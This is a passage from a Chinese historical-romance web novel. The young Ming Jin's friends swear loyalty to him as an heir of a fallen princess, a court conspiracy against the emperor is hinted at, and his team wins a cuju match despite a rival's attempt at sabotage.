哪怕有人泄密也没关系,因为无论是张家、李家还是荀家,在京中都算不上什么大家族,除了张家外,更是无一人能和朝中说得上话。 就算想要告密,也得先找到座山头拜才行。 而对于这几个家族来说,若不是明瑾的这层关系,他们上哪儿去找比宁王更大的靠山? 更别提家族内部的主要营收和人员变动,早已和宁王有了千丝万缕的关系,要是宁王倒台,他们一个都跑不掉。 当然,这是从晏祁的角度出发,单纯从利益考量得出的结果。 明瑾作为他们几人的朋友,则笃定相信,张牧他们绝不会背叛自己,陈叔山虽然背后没有家族,但他愿意为了兄弟、甚至是一位花楼女子两肋插刀,明瑾也相信他的人品。 晏祁曾教过他,疑人不用,用人不疑。 若是连组建人手最基础的一步都做不到,那他还谈什么帮上先生的忙? 半个时辰后。 张牧呆呆地合上了自己僵硬张大的嘴巴,扭头望向周围其他人,发现他们也都是一副目瞪口呆的样子。 “等下,”张牧终于反应过来了,“你的意思是,我老爹现在也是宁王的人?” “差不多吧。” “我靠,他居然不告诉我!” 张牧怒了:“我还是不是他亲生儿子了?这么大的事,一直瞒着我到现在!怪不得那天我回去把学堂的事跟他一说,他不但不帮我想办法,还说我成天咸吃萝卜淡操心,把我劈头盖脸训了一顿,原来这老头子根本就是在故意找茬!” 明瑾幸灾乐祸地笑了起来:“哪有,伯父一看就是你亲爹。” 荀婴倒是松了口气:“既然你和宁王是如此关系,那我就放心了,那一位对宁昭公主和木驸马,的确情深义重。只是……” 他抬头看向明瑾,蹙眉道:“你的身世暂且不提,就这么把宁王接下来的打算告诉我们,明瑾,你真的不担心吗?” “唔,这倒是,假如你们告密的话,”明瑾摸了摸下巴,故意把后果说得极为严重,“宁王和我明家上下,估计一个都跑不掉吧。” 他说着,叹了一口气,自己又忍不住笑起来:“到时候我被押送刑场,记得来送一程,清明多烧点纸钱就成。” “这不好笑!” 荀婴猛地站起身,目光炯炯地盯着明瑾:“不过明兄,你大可放心,我明白你的意思了。” 明瑾:“……啊?” 不是,你明白什么了? 他一脸茫然地看向其他人,发现众人面上也都是一副肃穆神情。 明瑾心想自己告诉你们这些,只是为了集思广益,讨论一下如何针对魏金宝啊,你们怎么个个一副大义凛然的模样? 他眨了眨眼睛,试图调解气氛:“那个,我看时间还早,要不咱们等会儿再去练练球?” “少爷,”陈叔山忽然单膝跪地,语气难掩激动,“虽说我陈叔山跟随少爷,从来不是因为少爷的身份地位,但如今看来,少爷龙凤之姿,果然不愧为名门英烈之后!” “草民十余年前,曾跟随昭明军为国征战,曾言生为昭明人,死为昭明魂,”他用力抱拳,双目通红道,“明少爷乃宁昭公主之后,便是我等誓死效忠的对象!” “昭明军陈叔山,见过小主公!” 明瑾刚想从床上跳起来,就被张牧起身一把按住了。 “如果我刚才没听错的话,”他若有所思道,“你那个心上人——就是宁王本人,曾亲口说过,他这么多年来,所做的这一切,都是为了你?” “……对,”明瑾缓慢地点了一下头,又很快补充道,“但我其实根本不想——” “原来如此。” 明瑾:“…………” 等下,你又明白什么了?原来什么如此!? 明瑾眼睁睁看着张牧松开按在自己肩上的手,转而使劲儿捏了捏拳头,发出一阵噼里啪啦的声音。 他亢奋道:“老天开眼,真叫老子遇上了这千载难逢建功立业的机会!冠军侯二十多岁便封狼居胥,没道理我张牧天生神力,就做不成下一位冠军侯——明兄,你这个主公,我张牧认定了!” “等——”你刚刚不是还想当我爹吗! 荀婴更是带着李司一同上前一步,激动道:“天下英雄如过江之鲫,我与李兄、陈兄皆无甚显赫家世,即使科举中第,朝中无人相护,即使功成名就,估计也要等到垂垂老矣之时。明兄……不,主公乃是我们的贵人呐!” “先等一下!” 明瑾受不了了,大叫道:“这都什么跟什么啊,怎么突然就开始认起主公来了?虽然我确实希望你们帮我一把,但只听了一番话便直接站队,也太草率点了吧!” 几人互相对视一眼,纷纷笑了。 “我们几个都认识多久了?”张牧笑道,“你是什么个性子,我们可是再了解不过了!” 荀婴点了点头,附和道:“并非草率。若主公乃是那种薄情寡义之人,一开始我们岂能成为朋友?相逢于危难之际,结识于草莽之时,日久见人心,婴相信主公,定能成为大雍一代明主!” 李司挠头,苦思冥想半天,实在想不出什么动听话来,只好紧跟着重重点头:“俺也一样!” 明瑾看着那一双双信任有加的炽热眼神,攥紧双拳,本想说些什么,但话到嘴边,又艰难地咽了下去。 好嘛,他心想。 原来他不是明阿斗,而是明玄德啊。 只是自己的确无意于那个位置,若是渴望从龙之功,可能要叫他们失望了。 明瑾默默在心中打定主意,若是先生能成功,无论自己如何,至少,都不能叫跟随自己的这些挚友泯然众人。 以他们的才华,只需一个出人头地的机会,将来定可以闻名天下。 思及此,明瑾起身站定,在众人的注视下,正色还了一礼,“我尚未及冠,主公一称,暂时还当不起。” 见荀婴又要开口,他抬手阻止道:“元栋你说的没错,在我心中,我与诸位乃是情比金坚的兄弟情谊,一开始是,将来也会是。兄弟一场,我希望诸位都能够得偿所愿,出人头地,无论将来世事变迁,此情不变,此志不改。” 明瑾说完,忽然松了一口气,露出了和往日一样懒散的笑容。 “哎呀,突然一下子这么正经,还是太不适合我了,”他挑眉道,“算了,跟你们相处,还是怎么舒坦怎么来吧,没那么多矫情,我就直接说大白话了——” “我,明瑾,是宁王的人。”他用大拇指指了指自己,“诸位,趁着咱们还年轻,要不要一起干件青史留名的大事?” 话音落下。 见无人应答,明瑾心中也略显忐忑。 他看向张牧,张牧抱臂靠在床栏边上,回应给他一个野心十足的笑容:“这还差不多。不过老子不是早就说过了吗?不管你明瑾要做什么,都必须要带兄弟我一个!” 荀婴也露出一抹笑容来:“大丈夫生不五鼎食,死即五鼎烹,明兄,你知我心志。” 陈叔山则再一抱拳:“但凭少爷吩咐便是!” 李司刚要张口,众人异口同声地怼道:“不许说‘俺也一样’!” 李司顿时一脸委屈:“那,那我要说什么?你们都把我的台词给讲完了!” 明瑾笑着拍了怕他的肩,不经意地眨了下眼睛,敛去眼角闪烁的水光:“不用,什么都不用讲。” 他都明白的。 “走吧,先去老地方集合!”—— 作者有话说:上一章修文补了五百字,如果在十二点半前买的宝子们可以重新看看~ 今晚还有一更,大家可以先睡明天起来看[捂脸笑哭]感觉再拖延下去我马上又可以恢复早上九点更新了 第52章 【二更】 十世之仇,犹可报也 明瑾所说的老地方, 就是张牧家的后院,他们平时练球的区域。 张牧家比明家要大,但张牧爹平时懒得管, 后宅又没有位立得住的主母帮着打理, 因此有很大一片空旷平坦的地皮。 明瑾小时候喜欢和张牧在草丛里捉蚂蚱玩, 现在他们几人带着陈叔山的罗汉帮,就在这里练球、讨论对付魏金宝队伍的战术。 一行人浩浩荡荡地来到张牧家, 谁知, 却在门口正好撞上了刚从外面回来的张淼。 “张伯父,又来叨扰了。” 去别人家做客,尤其是面对长辈的时候,明瑾自然不能没有礼数。 “嗯。”张淼停下脚步,直接无视了自家儿子, 应了一声盯着他问道, “你伤怎么样了?” “好多了, 基本没什么大碍。” 明瑾从他身上闻到一股浓郁的酒气, 其中还夹杂着呛人的脂粉香,他努力忍住了打喷嚏的冲动, 不太好意思地摊了下手,“其实,也就是当时看了吓人,丁先生也没用多大劲儿。” 张淼眼底泛着浓郁的青黑, 他瞥了一眼,不甚在意地打了个哈欠:“这淤青, 可不像是没用多大劲儿的样子。不过,有时候不打狠些,确实也记不住教训, 下次我也在家准备一把铁尺……” 张牧立马后退一步:“爹,你要我死就直说!” “不成器的东西!”张淼骂了一句,“滚远点,这两天别让我看见你。” “好嘞,这就滚。” 张牧立马招呼着众人进门,明瑾几人也习惯了这父子俩的相处方式,知道张淼只是喝多了比较暴躁。 虽然这么多年里,明瑾来张家无数次,感觉这位伯父好像就没有不暴躁的时候。 对比之下,还是他爹好啊。 “这老头子,迟早有一天要死在女人肚皮上,”张牧边走边抱怨,一点儿也不避讳人,明着说他爹的坏话,“——或者是男人肚皮上。自打我进了羽林军,这老头子就天天找我的茬,切,肯定是嫉妒他儿子我比老子强多了。” 他把胳膊搭上明瑾的肩膀,畅想道:“等我到了老头子这个岁数,肯定早就成了皇帝身边最亲近的近侍,禁军统领,手下兵马无数——你说对吧,明少爷?” 他故意拖长了声音,背后含义不言自喻。 明瑾一巴掌拍掉他的手:“行,到时候肯定给你个大内总管的职位,保管叫你一人之下万人之上。” “去,谁说我要当太监了?” 几人打打闹闹着来到了后院,开始照常练习。 他们最常练的一般有几个项目:定点、花式和传球,隔三差五还会分成两组,来次对抗赛。 但明瑾今天跑了半场,却怎么都找不到刚开始练习时那种热血沸腾的感觉,他朝要给自己传球的陈叔山摆摆手,喘着气走到场边,拿起竹筒仰头灌了几大口,靠冰水勉强压下了些心中的火气。 “怎么了,今天状态不好?”荀婴也来到了这边休息,几人中他的体力相对最弱一些,“是不是伤没好全?” “不是。”明瑾闷声道,“只是觉得,我们这样练下去,好像还和从前没什么区别。” 荀婴顺着他的视线望向前方。 午后阳光刺眼,他看着场上来回跑动、挥汗如雨的几人,有些不解地问道:“备赛不都是这样吗,明兄想要什么样的区别?” “我仔细想了一下木云那番话,总觉得哪里不对,”明瑾把竹筒捏在手里,神情严肃道,“以咱们对魏金宝的了解,你觉得,这个人如果想赢下一场比赛,又因为一些原因别有目的,他会让他手底下的那些狗腿子老老实实参加比赛吗?” 荀婴一愣,随后陷入了沉思。 “你也是这么认为的,对吧?” “但我们现在没有渠道从魏家探听消息,”荀婴说,“就算知道魏金宝是个突破口,但至少,得有足够让他信任,或者说能接近到他身边的人,才能搞清楚他究竟在打什么算盘吧。” “你说的对,”明瑾叹道,“我就是在愁这个。” 两人重新陷入了沉默。 草场云影缓移,有声沨沨。 良久,荀婴忽然出声:“魏家是太子党,既然如此,倒也不是完全没有路子。” 明瑾眼前一亮:“元栋,你有主意?” 荀婴迟疑着点了一下头:“不确定能不能成。但我们之中,除了你之外,唯一一位能和太子扯上关系的,就是……” “是我。” 陈叔山的声音正好接上了他未说完的话,明瑾看着他疾步流星地走过来,随手拿起搭在颈上的毛巾擦了把热汗,目光灼人地盯着自己:“少爷,不如让我去试试吧。” “你?”明瑾犹豫起来,“你之前不是已经回绝了太子的招揽吗,这要是再主动找上魏家,怕不是会被刁难一番。” “刁难而已,我陈叔山长这么大,连死都不怕,怕什么区区刁难?” 陈叔山满不在乎地嗤笑一声,随后正色抱拳道:“太子派来招揽我那人,我也认识,正好是魏家的一名管事。少爷,趁着那魏金宝暂时还没见过我们罗汉帮几人,不如就让属下去试试看吧。” 明瑾咬牙道:“好,但你一定要注意安全,如果形势不对,立马抽身,记住了吗?” “少爷放心。” 陈叔山说完,又有些为难道:“可如果要去魏家,那接下来大半个月,属下恐怕就没办法和少爷你们一起练球了。” “这倒没事,”荀婴笑道,“陈兄本就是我们当中身手最好的,这段时间,都是你在给我们陪练,缺席一个月,对你的水平影响不大,我们也会另行找人来指点的。” 明瑾也点头道:“没错,学院里的人碍于魏金宝不敢参加比赛,但如果只是指点,我认识好几个能帮上忙的前辈呢。” “好,事不宜迟,我这就去。” 陈叔山当机立断,收拾好东西便风风火火地离开了张家。 荀婴望着他远去的身影,问明瑾:“明兄,为何你不直接向宁王询问相关的消息?” “他不想让我参与这些,说是牵扯越多,越难脱身。”明瑾也很无奈啊,要是晏祁肯说,那他何必还兜这么大个圈子? “但以明兄你的身份,似乎想要脱身,也是不可能的事情了。” “是啊,可惜说不动他。” 这么多年下来,晏祁对他保护欲是浸在骨子里的。 虽然大部分时候,他都支持明瑾自己去大胆尝试,哪怕跌跤也是一种教训,可这一切的前提都是,晏祁觉得情况尚且在自己的掌控范围内。 一旦他认为,某个人或事会对明瑾造成实质威胁,男人的第一反应就是彻底将明瑾与危险隔绝开,且决心不会被任何人动摇。 “…………” 荀婴看着明瑾嘴上说着可惜,嘴角控制不住上翘的模样,总觉得自己在这儿好像有点儿多余。 虽然这里现在就只有他们两个人。 “明兄打算什么时候回书院?”他刻意清了清嗓子,试图打破这令人不自在的气氛,“若是还不能握笔,婴可以暂且代劳。” 张牧不知何时凑了过来,把他们两个都吓了一跳:“我手也受伤了!既然如此,我那份可不可以……” “——不可以。” 荀婴面无表情地看着他手上那处米粒大的擦伤。 张牧要是再晚来些,估计都愈合了。 “切,我才不稀罕呢!” 张牧嘴硬着大声回怼。 明瑾心道,瞧这模样,一看就超在意的。 李司见他们都在,也下场走了过来,听到这番话,他想了想主动道:“张兄,要不我帮你写吧。” 张牧很感动,但他说:“还是算了。李司你要是帮我写,那我估计错的比平时还多。” 李司深受打击。 张家阁楼上,张淼端起酒壶,望着下面扎堆欢笑的少年,神色冷淡地灌了几大口,仿佛他喝的不是酒,而是水一样。 “你要再这样喝下去,迟早得短寿。”坐在他对面的明敖叹气道,“行了,别喝了,我今天来找你,不是为了跟你喝酒的。” 张淼丝毫没被他吓住,听着明敖语重心长的劝诫,甚至还颇为不耐烦地啧了一声。 “那慢走不送。” “多年未见,你就这么招待自己的同窗旧友吗?”明敖也瞥了一眼外面,感叹道,“看着这些孩子,总会想起我们年轻那会儿……” 张淼:“你今天来,若只是为了同我说这些废话,现在就可以走了。” “好吧,”明敖看出来他是真不打算跟自己客气,只好放弃了寒暄的想法,直截了当道,“我想拜托你,替我照顾一下明瑾。” 张淼沉默了一会儿,嗤笑道:“怎么,明家终于要被你和那晏家小子折腾散了?” 明敖正色道:“这不关宁王的事,是我自作主张。” “自作主张,”张淼重复了一遍,依旧神情散漫,“行,那叫我听听,你是怎么个自作主张法?” 明敖安静片刻,说:“我替二皇子的部下铸造了三百甲胄,还有八百把刀剑。” 张淼霍然起身。 他不可置信地指着明敖的鼻子:“明敖你疯了?这可是要抄家灭族的大罪!你若是不想活,大可以直接找根绳子吊死,别连累明家其他人!” 他喘着粗气,像只无头苍蝇似的在屋里乱窜,酒也一下子醒了,“你莫不是忘记了,那孩子现在也算是你明家族人?” “这个你不用担心,”明敖仍端坐在座位上,这回轮到他老神在在地回答了,“宁王那边早有准备。” 张淼脚步一顿,神色顿时变得阴晴不定起来。 “是不是他命令你去做的?”他阴沉道,“我就知道,那小子心狠手辣,根本就不是个好东西!口口声声说是为了报恩,为了保护那孩子,一心要把他隔绝在外,谁知道最后他会不会履行承诺?” “明敖,难道你就没想过,哪怕他不是真正的晏家血脉又如何,天底下怎么会有人愿意拱手让出唾手可得的皇位?你就不怕他是下一个晏珀吗!” “这个,我自然想过,”明敖抬眼望向他,“论起一朝被蛇咬,我和轻尘的教训可比你更深。” 毕竟那个时候,是他和轻尘写信给宁昭公主夫妇,建议他们可以与晏珀达成合作的。 登基前的晏珀,忍耐和伪装的功力,可远比他生的这两个儿子要强出太多了。 “罢了,这些我不与你争辩,就单说你和二皇子这事,”张淼烦躁道,“你告诉我,你冒这么大的风险,究竟是为了什么?总要给我一个理由吧?” “很快你就知道了。” 明敖也站起身,最后看了一眼下面的明瑾,顺走了张淼桌上仅剩的半壶酒,自己也喝了一大口。 “好酒!”他赞叹道。 “若我真出了什么事,那一定是能让朝堂天下震动的大事,到了那个时候,晏家小子最重要的是保全自身,大业未成,他肯定不能被卷进去。至于明瑾,那就有劳你照看了。” 明敖呵呵笑道:“二十年前,云英书院上至先生下至学子,尊崇的可大都是公羊学派,十世之仇,犹可报也!昭明军的血债,总不能只有那晏家小子一人还记得吧?” “就算年过半百,也不妨碍咱们轻狂一把,正好,我也有笔陈年旧账,要和咱们的陛下好好算一算呢。” 张淼攥紧双拳,半天都说不出话来。 直到明敖放下酒壶离开,他才深吸一口气,猛地转身,冲着已经下楼的明敖怒道:“老子可没答应你,你自己的儿子,自己去养!” 明敖头也不回地摆了摆手: “是养子。”—— 作者有话说:小明同学身上的游侠气质,其实明老爷也功不可没[墨镜] 这本的权谋基调其实并不算强,但确实有受到一些《赵氏孤儿》的影响,就像王国维点评的那样“剧中虽有恶人交构其间,而其蹈汤赴火者,仍出于其主人翁之意志。”笔力有限,虽然还有一些不太满意的地方,但会尽力写好这段剧情的。 第53章 一怒之下怒了一下 陈叔山是在一个雨夜回到明家的。 距离上一次他们见面, 已经过去了近二十天。 这几日,云英书院给所有学子们都放了假,既为筹备即将到来的蹴鞠比赛, 更是为了迎接圣驾——虽然晏珀肯定只会来看最后一场, 但这并不妨碍云英书院紧锣密鼓地提前筹办起来。 作为同样被赶回家中的一员, 明瑾这些天很是度日如年。 想去找晏祁,他不在宁府, 就连地道也被特意封住了;想盯着魏金宝, 但近来魏家也闭门谢客,说是魏相偶感风寒。 可是早在书院放假前,魏金宝就连着好几日没来上课了。 明瑾一心认定这人肯定是在憋什么坏水,这会儿看到夜色下风扑尘尘的陈叔山,不由得大喜:“你终于回来了!怎么样, 可有探听到什么消息?” 陈叔山神情肃穆地点了点头, 接过明瑾递来的茶水, 仰头一饮而尽后, 沉声道:“属下到魏家时间太短,还来不及让他们信任我, 只能从府上的下人嘴里打听到一些消息。” “魏家长子,上个月和他爹魏相在家中大吵一架,把他爹气得一病不起,他则就此离开魏家, 至今未归。” “魏家长子……你是说魏伯贤?” 明瑾有些诧异,他在书院里也听过不少这位的传言, 说他是个谦谦君子,比起魏金宝风评不知好了多少倍,怎么会突然和亲爹闹成这样? “那魏相病倒, 魏伯贤离家出走,”他忽然想起一件重要的事情,蹙眉道,“这样说来,魏家现在的话事人就只有魏金宝了?” 魏相的发妻数年前病故,虽然不知道是出于博取名声还是真的感情深厚,这些年他一直没有再续弦。 “应是如此。” 陈叔山仔细回忆了一下自己这些天在魏家的听闻,谨慎道:“虽然属下不知哪些是太子门下的宾客,但确实见过两次不太像魏家人的家伙,深夜在府上走动” “第二次见时,属下悄悄跟上去,听到他们在屋内讨论,声音很小,也只能听到些只言片语,期间提到了‘死士’、‘藏书阁’、‘先下手为强’等字眼。” 明瑾悚然:“该不会是太子打算趁这次陛下出宫的机会,兵变谋逆上位吧?” 陈叔山:“属下以为,不排除这样的可能。” “众目睽睽之下,就算他们成功了,那之后朝廷的大臣们肯定也不会同意的!皇位得来的名不正言不顺,如此一来,太子是打算做孤家寡人了吗?” 明瑾总觉得哪里不对劲,可一时间又想不出更好的解释来。 狂风卷积着乌云,他心绪不宁地站在窗口,望着外面雷霆暴雨之下暗淡的勾月,有那么一瞬间,忽然很想见到那个人。 如果先生还在他身边就好了,明瑾想。 他从前并未觉得,自己有多么依靠晏祁。 直到今夜,明瑾才忽然发现,其实只需要一个拥抱,这些无处排解的疑问、忧虑和不安,便都会在顷刻间烟消云散。 他想要知道,晏祁一切都好。 “魏金宝呢,”许久后,明瑾回过神来,重新望向默然站立在身后的陈叔山,“你这几日可有见到他?” 陈叔山点了点头:“见过一次。他看上去……有些奇怪。” “哦,怎么个奇怪法?” “形容有些疲惫憔悴,但精神头倒挺足的,”陈叔山回忆道,“有种格外亢奋的感觉。” “能不兴奋吗,现在魏家是他说了算,他大哥跑了,老爹也病了,根本没人管得了他了。” 明瑾冷笑:“就是不知道太子知不知道,他选择的合作对象换了人,现在顶替魏相的,其实是个成事不足败事有余的草包了。” “叩叩” 门外忽然隐约传来敲门声,明瑾和陈叔山对视一眼:都这么晚了,还有什么人会来? 又是两下敲门声响起,这回声音更大了些,不会再被误认为风声了。陈叔山快步走到门口,刚要开门时,动作顿了顿,先谨慎问了一句:“是谁?” “是我。” 陈叔山愣了一下,立刻打开了门扉:“文叔,您怎么来了?” 文叔也是他们蹴鞠队中的一员悍将,只是平时他一般不参与训练,陈叔山走后,偶尔会过来指导一下他们的战术。 明瑾也是后来才从陈叔山口中得知,原来文叔也是昭明军中的一员,甚至当年在军中的地位还不低,被受他的母亲,也就是宁昭公主的信任。 这大概也是他会甘愿在明家当一老仆、照看明瑾长大的原因。 一道闪电划破夜空,轰隆雷声中,明瑾从陈叔山后面走上前,同样一脸意外地看着披着斗笠蓑衣、静静站在滴雨屋檐下的文叔。 目光扫过文叔别在腰上的长刀,他眼神一闪:“文叔,发生什么事了?” “没什么,只是来替那位给小少爷带个话,”文叔笑了一下,“城东槐花巷尽头,有栋两进的小院子,等比赛结束后,少爷记得先别回家,去那里帮他取个东西。” 明瑾有些二丈和尚摸不着头脑,他知道文叔肯定认识晏祁,这番话也是他替晏祁带的,可无论他怎么追问,文叔只说他就知道这些,别的再没有了。 “不是,他让我帮忙取东西,怎么不先说清楚要取什么?”明瑾觉得很是荒谬。 “他说您到了便知晓了。” “……神神秘秘,古里古怪。” 明瑾心里有点儿小埋怨,见文叔这就要转身离开,忙喊住他,叮嘱了比赛那天的一些注意事项,又软磨硬泡地叫文叔答应明后两天跟着他们去张牧家练球,这才松口放人离开。 但最后,还是不甘心地把文叔拉到了一旁,小声问了一句:“那个,他就什么都没问我吗?也没说……”想他什么的? 明瑾把后半句话咽了回去,欲盖弥彰道:“他也没说什么其他关于我的话题?” 文叔沉吟片刻,在明瑾紧张的注视下,慢吞吞道:“那位大人说,让你有空多陪陪家人。” “什么嘛!” 明瑾望着文叔离开的背影,浑身怨气冲天。 不想见他,还找这种理由当借口,他看晏祁可真是飘了! 他明瑾也不是好惹的——要是再这样下去,迟早有一天,他要叫这老男人知道自己的厉害! 明瑾内心暗暗发誓,等他将来长得比晏祁高了壮了,一定要把人按在床上,狠狠酱酱酿酿一番。 却完全没考虑过,三个他加一起,估计也没法搞定曾经真刀实枪上过战场的伪·宁王殿下。 用晏祁本人的话来说,就是明瑾“吃下去的饭都变成用来闹腾人的精力了”。 明瑾一怒之下怒了一下,他也没办法找晏祁本人诉苦,只好一边闷头跟着张牧他们练球,一边在家吭哧吭哧地写诗。 但别误会,这次可不是情诗。 “我一直以为,只有妻子才会给夫君写这种东西,”荀婴来到明家书房,翻看完明瑾写的这些东西之后,露出了一个“很难评,我祝你成功吧”的表情,“你什么时候也学会写闺怨诗了?” “瞎说,明明臣子也会给皇帝写,下属也会给主公写,甚至主公有时候还会自己写,曹孟德那个‘青青子衿,悠悠我心’,难道怨妇味儿就不重吗?” 明瑾很不服气地舔了舔笔尖,“他曹阿瞒写得,我明阿瑾怎么就写不得?我偏要写,还要写出个名堂来!” 最好叫天下所有人都知道,晏祁是个负心汉! 荀婴又看了一眼手中的字句,颇有些不忍直视:“曹操怎么就成怨妇了……而且明兄,你就算写,起码平仄也要对吧?实在不行,婴帮你代笔也成。” “那太好了。”明瑾立马兴高采烈地把纸笔往他手里一塞,“麻烦你了,正好我也写得头疼呢,果然这种伤春悲秋的事儿还是不适合我。” 荀婴:“…………” 可恶,又上当了。 夜静更阑,灯花噼啪作响。 细微的声音将晏祁纷乱的思绪拽回现实,他沉默地坐在桌案后,眉眼倦怠,笔尖的浓墨不知何时已将面前的宣纸浸透,在“但为君故,沉吟至今”的落笔上,留下了一点难以遮掩的痕迹。 晏祁定定地注视着它片刻,忽然晒笑一声,将它对折几下,送到了蜡烛边上。 明明手中只是一张轻若无物的宣纸,男人的指尖,却分明在微微地颤抖。 火苗舔舐上纸张的一角,只是短短几个呼吸的功夫,便彻底燃尽。一缕灰烬悄然飘落,又被风卷走,顷刻间再无踪影。 他的瞳孔倒映着火光,仿佛又看见了那日少年依偎在他怀中,仰头看向自己时,那双明亮如火的眼睛。 “明家,但愿……” 一声叹息,在夜色中化为无形。 * 次日清晨。 当明瑾再一次跨入书院的大门时,他差点还以为是自己走错地方了。 这还是自己熟悉的云英书院吗!? 处处张灯结彩,虽说是白日用不着点灯,但各处的海棠树都已经装点上了彩色的缎带,随风轻摇,地面也铺着红毯,沿阶而上,绵延数百尺。 还有原本老旧掉漆的门头和学堂,都被重新修缮了一遍,就连水潭里的鸭子,似乎都换了一批更精神些的。 张牧站在他身边,望着眼前焕然一新的书院,感慨道:“这哪里是举办比赛,迎亲还差不多。” 李司颇为认可地点了点头。 明瑾艰难地收回视线,问道:“你们怎么都在这儿?” 荀婴道:“离比赛开始还有半个时辰,学子们大多都已经入座了,咱们的人还没来齐,想着找你问问。” “哦,文叔他去找地方停骡子了,陈叔山他们应该也快到了。” 但等文叔回来,又过了许久,眼看着比赛都快开始了,陈叔山他们还没来,明瑾终于察觉到不对劲了。 “怎么回事?”他频频扭头朝外面望去,“咱们可是抽签抽到了第一场,迟到一炷香就算自动弃权了,陈叔山他们肯定是知道的啊!” “魏金宝身边那两人也没来。”荀婴沉着脸道。 明瑾霍然扭头,朝他目光的方向望去,发现果然,平时向来跟他孟不离焦焦不离孟的左右哼哈二将,今天一个也不在。 张牧脸色铁青,怒骂道:“难不成,这混蛋还想使阴招?操他魏家祖宗的,这才是第一场比赛啊!” “要不,我去问问?”李司跃跃欲试道。 “不行,他肯定不会承认的,”明瑾否决了这个提议,“文叔,你替我们去外面看看,要是有什么事,你身手好,帮忙接应一下,搞不定的话就回家搬救兵。” 文叔应了一声,趁着龚院长讲话的功夫,明瑾又低声把陈叔山昨晚告诉自己的话和其他几人讲了一遍。 闻言,荀婴若有所思道:“这样说来,蹴鞠比赛的确是个良机,所有人的注意力都在场上,正好方便别有用心之人趁虚而入。” 明瑾愣住了,接着立马抓住了荀婴的肩膀:“元栋你把最后的话再说一遍?” “正好方便别有用心之人趁虚而入……?” “哎呀不是这个,再前面一句!” “所有人的注意力都在场上——” “对了,就是这个!”明瑾捏紧了拳头,扭头张望了一番,“我好像知道他们想干什么了,你们看,藏书阁最顶上的那扇窗,是不是正对着主座?” 张牧脸色一变:“你是说,他们打算在那儿……” 这里人多眼杂,他就把最后“刺杀皇帝”这四个字咽了回去。 但在场几人都明白他的意思,个个神情凛然,明瑾更是觉得,自己一定是无意间发现了真相。 可眼下他们还不能离场,因为马上比赛就要开始了,而他们的人甚至都还没到齐。 明瑾咬着牙望向魏金宝的方向,发现他正志得意满地看着自己,注意到明瑾的视线,还伸出一根小拇指,挑衅地在他眼前晃了晃。 这混蛋! “第一场比试,请诸位学子上场。” 明瑾几人慢吞吞地起身,忽然张牧大叫一声:“哎呀我鞋被你踩坏了!”当即便抱着腿蹲下,连声叫唤起来。 不小心踩着他脚的那名学子目瞪口呆地看着张牧表演,心想我踩的你鞋,你捂着腿喊什么? 观众席上的喧闹吸引了裁判的注意力,他大步走过去,揪起张牧看了一眼,张牧还在叫唤着要那学子赔鞋,但可能是抱着腿哼哼实在是太假了,周围等着看比赛的观众逐渐不耐烦起来,裁判一皱眉道:“还能不能上场了?不能就换人,或者干脆认输!” 魏金宝那边响起了嘘声,张牧额头青筋直跳,瞬间满血复活。 “老子没问题!” 但他努力争取到的时间也就此结束,明瑾几人面对着数量远大于他们的对手,大眼瞪小眼地站在场上,眼睁睁地看着中间的那炷燃香一点点烧尽。 龚院长显然也没料到这种情况,他看了明瑾一眼,最终还是没有开口,等待着裁判宣布比赛结束。 周围的抱怨声越来越响,甚至还有人打算离场,魏金宝听着这些声音,抱臂靠在座位上,唇边的笑容越拉越大。 “少爷,都办妥了,您就放心吧。”他边上的一名书童殷勤道,“魏大魏二他们出马,收拾一帮街头混混,肯定手到擒来——” “人员到齐,比赛开始!” 一声呼喊自前方传来,叫他拍马屁的声音戛然而止。 仿佛大鹅被抓住了脖子,书童瞪圆了眼睛,和脸色瞬间黑沉的魏金宝一道,不可思议地看向场中。 陈叔山浑身都是青紫伤痕,大大小小的擦伤足有十几处,颧骨上更是凝成了一块黑红的血痂。 但他大步流星地走过来,只是冲一脸担忧的明瑾笑了笑,微微地摇了下头,表示自己的伤势不重,没有什么大碍。 “少爷,”他哑声道,“人我都带来了,幸不辱命。” 明瑾用力眨了一下眼睛。 “好!” 文叔仍是慢吞吞的,缀在队伍后面最后一个走进场,他随手把手中沾血的棍棒丢到场外,抬头望向观众席的某个方向。 魏金宝下意识打了个寒颤。 此时,那炷香正好燃尽。 明瑾深吸一口气,扭头对裁判道:“可以开始了吗?” 裁判愣了几息,连忙点头,退后数步离场,大声宣布道: “——人员到齐,比赛开始!” —— 作者有话说:调整作息,又回到了早上九点更新的日子。今天就一更,明天继续奋斗ing 第54章 【二合一】 天狗食月,帝星将陨…… “……那小子扑过来的时候, 文叔抄起手里的打狗棍,‘邦’的一下敲在他的腿骨上,乖乖, 当时他那个哭天喊地哦!” 比赛结束后, 陈叔山手下的一位小弟兴奋地跟他们比划着, “就那么一下,边上看着的人都吓得尿裤子了!” “哦对了, 还有老大, 天神下凡以一敌十,那帮蔫坏孙子还以为人多就能胜过咱们,简直可笑!” 文叔乐呵呵地不说话,只是拿着蒲扇扇风,另一只手拿着今日赢下的奖品——一块刚从井水里提上的西瓜, 一路走一路啃得带劲, 连瓜子也不吐, 眨眼间就啃完了大半块。 陈叔山手里也捏着一块西瓜, 听着手下的弟兄们吹嘘自己,男人黝黑的脸上通红一片, 看上去倒是比方才在场上奔跑踢球时更燥热了些。 “莫要瞎说,哪有你们讲的那么离谱,都是文叔的功劳。” 他感叹道:“还好少爷反应迅速,文叔要是再晚来一步, 我今日恐怕就上不了场了。” “方才那一球,陈兄传得可真厉害, ”荀婴此时尚且有些气喘,但一双眼睛却极为灼热明亮,“明兄接得也精彩, 一球定胜负,实在赢得漂亮!” 明瑾咧嘴一笑,唇边还染着粉红的西瓜汁,正要开口,就听后面传来一道熟悉的、惹人生厌的声音:“虽然不知道你们几个走的什么狗屎运,不过嘛,也就到此为止了。” 笑容瞬间从明瑾的脸上消失。 他停下脚步,和众人一起转身皱眉看向魏金宝。 “我说某些人是不是有些太阴魂不散了,怎么,场上不敢一决胜负,只敢用围追堵截的下作手段,现在盘外招不管用,又准备憋出什么恶心人的主意了?” “明瑾!”魏金宝怒道,“别以为你傍上了宁王,就有资格跟我作对了,我爹可是当朝宰相,你明家算是个什么东西?” “哎呦,多大人了,居然还天天把爹挂在嘴边,”明瑾拐了拐张牧,坏笑道,“你说哪天他要是真被人欺负惨了,是不是还会哭着找爹啊?” 张牧一本正经地点头:“很有可能。” 明瑾周围的几人都哄笑起来,魏金宝的脸色一阵青一阵白,正要上前,忽然又咬牙忍耐道:“罢了,老子不跟你们几个泥腿子一般见识!再过一段时间,有的是你们几个跪下求我魏家的时候!” 